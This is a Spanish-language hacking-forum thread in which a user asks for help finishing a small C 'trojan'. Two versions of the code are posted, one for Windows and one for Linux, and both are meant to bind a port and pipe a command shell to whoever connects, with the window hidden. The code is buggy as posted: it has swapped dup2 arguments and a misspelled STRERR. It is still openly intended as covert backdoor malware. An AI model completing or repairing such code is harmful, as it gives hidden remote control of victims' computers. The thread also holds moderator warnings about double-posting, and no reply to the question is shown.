Duda Code troyano C

Iniciado por Garfield07, 16 Agosto 2010, 15:14 PM

0 Miembros y 1 Visitante están viendo este tema.

Garfield07

buenas estoy haciendo un troyanito que simplemente abra una cmd en windows, pero tengo un problema:
lo que uso es un dup2 para duplicar los descriptores de salida y entrada STDIN y STDOUT k corresponden con los descriptores 1 y 0. los duplico dirigiendolos al socket abierto, pero no me funciona. el cmd se abre en la ventana del troyano que luego voy a ocultar, por lo que no me sirve xD

les dejo el code: Dev-Cpp Windows 7 C:
#include <stdio.h>
#include <string.h>
#include <winsock.h>
#include <sys/types.h>

int main ()
{
   WSADATA wsaData;
   WSAStartup(MAKEWORD(1, 1), &wsaData);
   
SOCKET sockfd, newsock;
struct sockaddr_in client, host;
   int a=sizeof (client);

sockfd=socket (2, 1, 0);
host.sin_family=AF_INET;
host.sin_addr.s_addr=0;
host.sin_port=htons (33333);
memset (host.sin_zero, '\0', 8);

bind (sockfd, (struct sockaddr*)&host, sizeof (host));
listen (sockfd, 1);

while (1)
{
newsock=accept (sockfd, (struct sockaddr*)&client, &a);
send (newsock, "Conexion finalizada.\n", 21, 0);
dup2 (STDIN, newsock);
dup2 (STDOUT, newsock);
dup2 (STRERR, newsock);
WinExec ("cmd.exe", SW_NORMAL);
closesocket (newsock);
}

closesocket (sockfd);
return 0;
}


Nota: Linkeo desde un proyecto, pero quiero hacerlo desde linea de comandos. se k se ha hablado muxo xro sigo sin conseguirlo fuera de graficos....
linkeo a C:/Dev-Cpp/lib/libwsock32.a k es la k va en el 7.

saludos y gracias

Lh: No hagas doble post.

agradeceria que alguien respondiese

antes de continuar, dire que lo volvi a escribir en Linux Ubuntu. A ver k tal:
#include <stdio.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>

int main()
{
int sockfd, newsock;
struct sockaddr_in server, client;
int a;

sockfd=socket(2, 1, 0);
server.sin_family = AF_INET;
server.sin_port = htons(31337);
server.sin_addr.s_addr = 0;
memset((struct sockaddr*)server.sin_zero, '\0', 8);

bind(sockfd,(struct sockaddr*)&server, sizeof(struct sockaddr));
listen(sockfd,3);

while(1)
{
a=sizeof(struct sockaddr_in);
newsock=accept(sockfd, (struct sockaddr *)&client, &a);
dup2 (stdin, newsock);
dup2 (stdout, newsock);
dup2 (stderr, newsock);
fprintf (stdin, "Hola");
close (newsock);
}
return 0;
close(sockfd);
}


Donde dice "Hola" en el fprintf deberia escribir en el socket "newsock", pero no lo escribe en algun lado.
Echenme una mano por favor!!!


Lh: No hagas doble post, utiliza el botón modificar. Ten paciencia para esperar la respuesta.
Proximo doble post y borro directamente.


Buenas, se que la participacion es voluntaria pero necesito urgentemente una respuesta, por favor.
Alguien puede echarme una mano?

Saludos y gracias


* Quiero cambiar el mundo, pero estoy seguro de que no me darían el código fuente.
* No estoy tratando de destruir a Microsoft. Ese será tan solo un efecto colateral no intencionado.
* Si compila esta bien, si arranca es perfecto.

¡Wiki elhacker.net!
Un saludo